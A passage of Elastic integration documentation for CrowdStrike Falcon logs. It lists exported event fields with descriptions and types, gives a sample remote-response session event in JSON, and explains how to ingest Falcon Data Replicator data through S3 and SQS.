crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword | +| crowdstrike.event.ContentPatternCounts | | nested | +| crowdstrike.event.ContentPatterns.ConfidenceLevel | | long | +| crowdstrike.event.ContentPatterns.ID | | keyword | +| crowdstrike.event.ContentPatterns.MatchCount | | long | +| crowdstrike.event.ContentPatterns.Name | | keyword | +| crowdstrike.event.CustomerId | Customer identifier. | keyword | +| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword | +| crowdstrike.event.Description | | keyword | +| crowdstrike.event.Destination | | nested | +| crowdstrike.event.Destination.Channel | | keyword | +| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword | +| crowdstrike.event.DetectName | Name of the detection. | keyword | +| crowdstrike.event.DetectionType | | keyword | +| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword | +| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested | +| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested | +| crowdstrike.event.DomainName | | keyword | +| crowdstrike.event.EgressEventId | | keyword | +| crowdstrike.event.EgressSessionId | | keyword | +| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword | +| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested | +| crowdstrike.event.EventTimestamp | | date | +| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword | +| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested | +| crowdstrike.event.ExecutablesWritten.FileName | | keyword | +| crowdstrike.event.ExecutablesWritten.FilePath | | keyword | +| crowdstrike.event.ExecutablesWritten.Timestamp | | keyword | +| crowdstrike.event.ExecutionID | | keyword | +| crowdstrike.event.ExecutionMetadata.ExecutionDuration | | long | +| crowdstrike.event.ExecutionMetadata.ExecutionStart | | date | +| crowdstrike.event.ExecutionMetadata.ReportFileName | | keyword | +| crowdstrike.event.ExecutionMetadata.ResultCount | | long | +| crowdstrike.event.ExecutionMetadata.ResultID | | keyword | +| crowdstrike.event.ExecutionMetadata.SearchWindowEnd | | date | +| crowdstrike.event.ExecutionMetadata.SearchWindowStart | | date | +| crowdstrike.event.FalconHostLink | | keyword | +| crowdstrike.event.FileCategoryCounts | | nested | +| crowdstrike.event.FileName | | keyword | +| crowdstrike.event.FilePath | | keyword | +| crowdstrike.event.FileType.Type.CategoryID | | keyword | +| crowdstrike.event.FileType.Type.CategoryName | | keyword | +| crowdstrike.event.FileType.Type.Description | | keyword | +| crowdstrike.event.FileType.Type.ID | | keyword | +| crowdstrike.event.FileType.Type.Name | | keyword | +| crowdstrike.event.FilesAccessed.FileName | | keyword | +| crowdstrike.event.FilesAccessed.FilePath | | keyword | +| crowdstrike.event.FilesAccessed.Timestamp | | date | +| crowdstrike.event.FilesEgressedCount | | long | +| crowdstrike.event.FilesWritten.FileName | | keyword | +| crowdstrike.event.FilesWritten.FilePath | | keyword | +| crowdstrike.event.FilesWritten.Timestamp | | date | +| crowdstrike.event.Finding | The details of the finding. | keyword | +| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float | +| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean | +| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean | +| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean | +| crowdstrike.event.GrandParentCommandLine | | keyword | +| crowdstrike.event.GrandParentImageFileName | | keyword | +| crowdstrike.event.GrandParentImageFilePath | | keyword | +| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword | +| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword | +| crowdstrike.event.GrandparentImageFilePath | | keyword | +| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text | +| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword | +| crowdstrike.event.Hostname | | keyword | +| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword | +| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword | +| crowdstrike.event.IOARuleGroupName | | keyword | +| crowdstrike.event.IOARuleInstanceID | | keyword | +| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long | +| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword | +| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword | +| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword | +| crowdstrike.event.IPv4 | | ip | +| crowdstrike.event.IPv6 | | ip | +| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword | +| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword | +| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword | +| crowdstrike.event.IncidentType | Incident Type | keyword | +| crowdstrike.event.Ipv | Protocol for network request. | keyword | +| crowdstrike.event.IsClipboard | | boolean | +| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date | +| crowdstrike.event.ItemType | Type of raw intelligence. | keyword | +| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword | +| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword | +| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long | +| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword | +| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested | +| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword | +| crowdstrike.event.LocalIPv6 | | ip | +| crowdstrike.event.LogonDomain | | keyword | +| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword | +| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword | +| crowdstrike.event.MatchCount | Number of firewall rule matches. | long | +| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long | +| crowdstrike.event.MatchedClassification.ID | | keyword | +| crowdstrike.event.MatchedClassification.Name | | keyword | +| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested | +| crowdstrike.event.MobileAppsDetails.AndroidAppLabel | | keyword | +| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName | | keyword | +| crowdstrike.event.MobileAppsDetails.AppIdentifier | | keyword | +| crowdstrike.event.MobileAppsDetails.AppInstallerInformation | | keyword | +| crowdstrike.event.MobileAppsDetails.DexFileHashes | | keyword | +| crowdstrike.event.MobileAppsDetails.ImageFileName | | keyword | +| crowdstrike.event.MobileAppsDetails.IsBeingDebugged | | keyword | +| crowdstrike.event.MobileAppsDetails.IsContainerized | | keyword | +| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested | +| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested | +| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date | +| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested | +| crowdstrike.event.Name | | keyword | +| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested | +| crowdstrike.event.NetworkAccesses.AccessTimestamp | | keyword | +| crowdstrike.event.NetworkAccesses.AccessType | | keyword | +| crowdstrike.event.NetworkAccesses.ConnectionDirection | | keyword | +| crowdstrike.event.NetworkAccesses.IsIPV6 | | keyword | +| crowdstrike.event.NetworkAccesses.LocalAddress | | keyword | +| crowdstrike.event.NetworkAccesses.LocalPort | | keyword | +| crowdstrike.event.NetworkAccesses.Protocol | | keyword | +| crowdstrike.event.NetworkAccesses.RemoteAddress | | keyword | +| crowdstrike.event.NetworkAccesses.RemotePort | | keyword | +| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword | +| crowdstrike.event.NotificationId | ID of the generated notification. | keyword | +| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long | +| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long | +| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword | +| crowdstrike.event.Objective | Method of detection. | keyword | +| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested | +| crowdstrike.event.OperationName | Event subtype. | keyword | +| crowdstrike.event.OriginWebLocations | | flattened | +| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword | +| crowdstrike.event.ParentImageFilePath | | keyword | +| crowdstrike.event.ParentProcessId | | long | +| crowdstrike.event.PatternDispositionDescription | | keyword | +| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem | | boolean | +| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.Detect | | boolean | +| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded | | boolean | +| crowdstrike.event.PatternDispositionFlags.InddetMask | | boolean | +| crowdstrike.event.PatternDispositionFlags.Indicator | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillActionFailed | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillParent | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillProcess | | boolean | +| crowdstrike.event.PatternDispositionFlags.KillSubProcess | | boolean | +| crowdstrike.event.PatternDispositionFlags.OperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.PolicyDisabled | | boolean | +| crowdstrike.event.PatternDispositionFlags.ProcessBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.QuarantineFile | | boolean | +| crowdstrike.event.PatternDispositionFlags.QuarantineMachine | | boolean | +| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked | | boolean | +| crowdstrike.event.PatternDispositionFlags.Rooting | | boolean | +| crowdstrike.event.PatternDispositionFlags.SensorOnly | | boolean | +| crowdstrike.event.PatternDispositionFlags.SuspendParent | | boolean | +| crowdstrike.event.PatternDispositionFlags.SuspendProcess | | boolean | +| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer | +| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword | +| crowdstrike.event.PlatformId | | keyword | +| crowdstrike.event.PlatformName | | keyword | +| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword | +| crowdstrike.event.PolicyId | The ID of the associated Policy. | long | +| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword | +| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date | +| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword | +| crowdstrike.event.ProcessId | | long | +| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword | +| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword | +| crowdstrike.event.ReferrerUrl | | keyword | +| crowdstrike.event.Region | | keyword | +| crowdstrike.event.RelatedClassifications.ID | | keyword | +| crowdstrike.event.RelatedClassifications.Name | | keyword | +| crowdstrike.event.ReportFileReference | | keyword | +| crowdstrike.event.ReportID | | keyword | +| crowdstrike.event.ReportName | | keyword | +| crowdstrike.event.ReportType | | keyword | +| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened | +| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword | +| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword | +| crowdstrike.event.ResourceName | Resource name if any. | keyword | +| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword | +| crowdstrike.event.ResponseAction | | keyword | +| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested | +| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword | +| crowdstrike.event.RuleAction | Firewall rule action. | keyword | +| crowdstrike.event.RuleId | | keyword | +| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword | +| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword | +| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword | +| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword | +| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword | +| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword | +| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword | +| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword | +| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword | +| crowdstrike.event.ScanResults | Array of scan results. | nested | +| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword | +| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword | +| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword | +| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword | +| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword | +| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword | +| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword | +| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer | +| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword | +| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword | +| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword | +| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword | +| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword | +| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword | +| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword | +| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword | +| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword | +| crowdstrike.event.State | Identity-based detection or incident status. | keyword | +| crowdstrike.event.Status | CrowdStrike status. | keyword | +| crowdstrike.event.StatusMessage | | keyword | +| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean | +| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword | +| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested | +| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested | +| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword | +| crowdstrike.event.TargetAccountName | Target user name. | keyword | +| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword | +| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword | +| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword | +| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword | +| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword | +| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword | +| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword | +| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date | +| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested | +| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword | +| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | +| crowdstrike.event.UserDepartment | | keyword | +| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword | +| crowdstrike.event.UserMapped | | boolean | +| crowdstrike.event.UserName | | keyword | +| crowdstrike.event.UserNotified | | boolean | +| crowdstrike.event.UserTitle | | keyword | +| crowdstrike.event.UserUUID | | keyword | +| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword | +| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword | +| crowdstrike.metadata.customerIDString | Customer identifier | keyword | +| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword | +| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer | +| crowdstrike.metadata.version | Schema version | keyword | +| data_stream.dataset | Data stream dataset name. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| destination.as.organization.name | Organization name. | keyword | +| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | +| destination.geo.city_name | City name. | keyword | +| destination.geo.continent_name | Name of the continent. | keyword | +| destination.geo.country_iso_code | Country ISO code. | keyword | +| destination.geo.country_name | Country name. | keyword | +| destination.geo.location | Longitude and latitude. | geo_point | +| destination.geo.region_iso_code | Region ISO code. | keyword | +| destination.geo.region_name | Region name. | keyword | +| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | +| destination.port | Port of the destination. | long | +| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | +| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword | +| error.message | Error message. | match_only_text | +| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | +| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | +| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword | +| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | +| event.dataset | Event dataset | constant_keyword | +| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date | +| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred. It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date | +| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | +| event.module | Event module | constant_keyword | +| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | +| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | +| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long | +| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date | +| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | +| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword | +| file.hash.md5 | MD5 hash. | keyword | +| file.hash.sha1 | SHA1 hash. | keyword | +| file.hash.sha256 | SHA256 hash. | keyword | +| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | +| file.path.text | Multi-field of `file.path`. | match_only_text | +| host.containerized | If the host is a container. | boolean | +| host.os.build | OS build information. | keyword | +| host.os.codename | OS codename, if any. | keyword | +| input.type | Type of Filebeat input. | keyword | +| log.flags | Flags for the log file. | keyword | +| log.offset | Offset of the entry in the log file. | long | +| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text | +| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | +| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword | +| observer.product | The product name of the observer. | keyword | +| observer.vendor | Vendor name of the observer. | keyword | +| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | +| process.end | The time the process ended. | date | +| process.executable | Absolute path to the process executable. | keyword | +| process.executable.text | Multi-field of `process.executable`. | match_only_text | +| process.name | Process name. Sometimes called program name or similar. | keyword | +| process.name.text | Multi-field of `process.name`. | match_only_text | +| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text | +| process.parent.executable | Absolute path to the process executable. | keyword | +| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text | +| process.parent.pid | Process id. | long | +| process.pid | Process id. | long | +| process.start | The time the process started. | date | +| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | +| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | +| related.ip | All of the IPs seen on your event. | ip | +| related.user | All the user names or other user identifiers seen on the event. | keyword | +| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword | +| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword | +| rule.description | The description of the rule generating the event. | keyword | +| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword | +| rule.name | The name of the rule or signature generating the event. | keyword | +| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword | +| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword | +| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| source.as.organization.name | Organization name. | keyword | +| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | +| source.geo.city_name | City name. | keyword | +| source.geo.continent_name | Name of the continent. | keyword | +| source.geo.country_iso_code | Country ISO code. | keyword | +| source.geo.country_name | Country name. | keyword | +| source.geo.location | Longitude and latitude. | geo_point | +| source.geo.region_iso_code | Region ISO code. | keyword | +| source.geo.region_name | Region name. | keyword | +| source.ip | IP address of the source (IPv4 or IPv6). | ip | +| source.port | Port of the source. | long | +| tags | List of keywords used to tag each event. | keyword | +| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | +| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | +| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword | +| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | +| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | +| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text | +| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | +| user.email | User email address. | keyword | +| user.id | Unique identifier of the user. | keyword | +| user.name | Short name or login of the user. | keyword | +| user.name.text | Multi-field of `user.name`. | match_only_text | + + +An example event for `falcon` looks as following: + +```json +{ + "@timestamp": "2023-11-02T13:41:34.000Z", + "agent": { + "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4", + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "name": "elastic-agent-93422", + "type": "filebeat", + "version": "8.18.1" + }, + "crowdstrike": { + "event": { + "AgentIdString": "fffffffff33333", + "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" + }, + "metadata": { + "customerIDString": "abcabcabc22221", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 1, + "version": "1.0" + } + }, + "data_stream": { + "dataset": "crowdstrike.falcon", + "namespace": "99576", + "type": "logs" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "snapshot": false, + "version": "8.18.1" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "agent_id_status": "verified", + "category": [ + "network", + "session" + ], + "created": "2023-11-02T13:41:34.000Z", + "dataset": "crowdstrike.falcon", + "ingested": "2025-05-30T08:29:21Z", + "kind": "event", + "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}", + "start": "2023-11-02T13:41:34.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "UKCHUDL00206" + }, + "input": { + "type": "streaming" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "UKCHUDL00206" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-falcon" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } +} +``` + +### FDR + +The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike +managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3. + +This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed +SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket +and the integration can read from there. + +In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic +Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. + +#### Use with CrowdStrike managed S3/SQS + +This is the simplest way to setup the integration, and also the default. + +You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR. + +#### Use with FDR tool and data replicated to a self-managed S3 bucket + +This option can be used if you want to archive the raw CrowdStrike data. + +You need to follow the steps below: + +- Create a S3 bucket to receive the logs. +- Create a SQS queue. +- Configure your S3 bucket to send object created notifications to your SQS queue. +- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. +- Configure the integration to read from your self-managed SQS topic. + +> NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support 